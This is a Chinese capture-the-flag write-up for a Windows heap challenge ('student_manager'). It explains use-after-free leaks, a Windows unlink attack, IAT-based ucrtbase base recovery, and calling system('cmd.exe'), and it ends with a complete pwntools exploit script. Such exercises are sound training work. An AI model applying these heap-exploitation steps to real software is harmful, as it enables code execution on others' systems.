[toc]
0x01 查看文件
0x02 IDA分析
标准的菜单题目:
这个题放在linux中就很简单了:UAF泄露出函数指针,根据libc算出基址找到system,利用UAF来先改掉函数指针,再写入/bin/sh到堆中show出来即可。
0x03 知识补充
我们还得先把附件中的东西搞清楚:
把msvcrt.dll,msvcrxxx.dll,ucrtbase.dll当成libc.so就好。
动态链接编译可执行文件时.so/.lib文件的用处以及ELF与PE文件的区别:
编译一个动态链接的程序时,要告诉编译器:1.我们要用什么动态库。2.确定这个库里的确有目标函数
在linux里直接通过.so在编译时完成这个任务,即gcc -l,并且在运行时也用.so。而在windows中,编译时用.lib,运行时用.dll。简单的说就是windows把linux中的.so单个文件的功能拆成了两个文件来用。而且Windows的PE文件中只包含所需要的dll名字,不包含路径,则需要按照规则搜索:Dynamic-Link Library Search Order,程序当前目录也是搜索的一个环节,所以Pwn题把dll打包到程序目录也就可以理解了。
大概知道了这几个文件的作用,那么我们就得大概了解下windows heap管理机制:(来自anglyboy师傅)
0x04 思路
第一步:通过UAF泄露heap地址,由于函数指针和malloc的heap放在一个heap中进行管理的,所以通过偏移可以找到对应heap management存放的地址
这里本身就是个heap,里面分别存放puts函数指针和heap地址。
第二步:同样的利用UAF漏洞,编辑以释放的chunk的fd和bk(linux习惯了这样的叫法,在windows实际称为Flink、Blink)
对于windows unlink攻击详细可以学习AngelBoy师傅的总结
第三步:找到system函数:在linux下我们会尝试寻找一个函数(通常就是puts)的got表,然后将其plt的值打印出来找到libc基址,通过这个基址找到system函数。只不过windows下叫做IAT表。
那么在windows上我们需要怎么做呢:首先通过泄露puts函数地址找到程序基址,之后再写入puts函数对应IAT表的地址,打印出puts函数的真实地址,这样就能找到ucrtbase.dll基址(等于libc基址)
第四步:最后写入system函数地址和cmd字符串,调用show功能即可调用system函数执行system(“cmd”)拿shell了。
0x05 调试
首先看看函数指针写入heap中:
用unlink攻击成功,我们看到heap list中的heap地址是heap list地址
后面就按部就班的操作即可
再放一张拿win10 shell的图
0x06 exp
#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
itv = lambda :p.interactive()
if debug:
p = remote("192.168.241.134",8888)
else:
p = remote("124.70.197.50",9010)
elf = ELF("./student_manager")
libc = ELF("./libc-2.27.so")
def create(size):
sla("option >\r\n",str(1))
sla("size >\r\n",str(size))
def delete(index):
sla("option >\r\n",str(2))
sla("index >\r\n",str(index))
def show(index):
sla("option >\r\n",str(3))
sla("index >\r\n",str(index))
def edit(index,content):
sla("option >\r\n",str(4))
sla("index >\r\n",str(index))
sa("content >\r\n",content)
# step 1
create(0x80)
create(0x80)
create(0x80)
create(0x80)
create(0x80)
delete(1)
delete(3)
show(1)
heap_addr = u32(p.recvn(3).ljust(4,"\x00"))
success("heap addr ==> "+hex(heap_addr))
# step 2
block = heap_addr - 0x100
block_1 = block + 0xc
fd = block_1 - 4
bk = block_1
payload = p32(fd)+p32(bk)
edit(1,payload+"\n")
delete(0)
# step 3
payload = p32(block)+"\n"
edit(1,payload)
show(1)
image_base = u32(p.recvn(3).ljust(4,"\x00"))-0x1049
success("image base ==> "+hex(image_base))
puts_IAT = image_base + 0x20c4
edit(1,p32(image_base+0x1049)+p32(puts_IAT)+"\n")
raw_input()
show(0)
libc_base = u32(p.recvn(4).ljust(4,"\x00"))-0xb9620
success("libc addr ==> "+hex(libc_base))
system_addr = libc_base + 0xf0dc0
edit(1,p32(system_addr)+p32(heap_addr)+"\n")
edit(0,"cmd.exe\x00\n")
show(0)
p.interactive()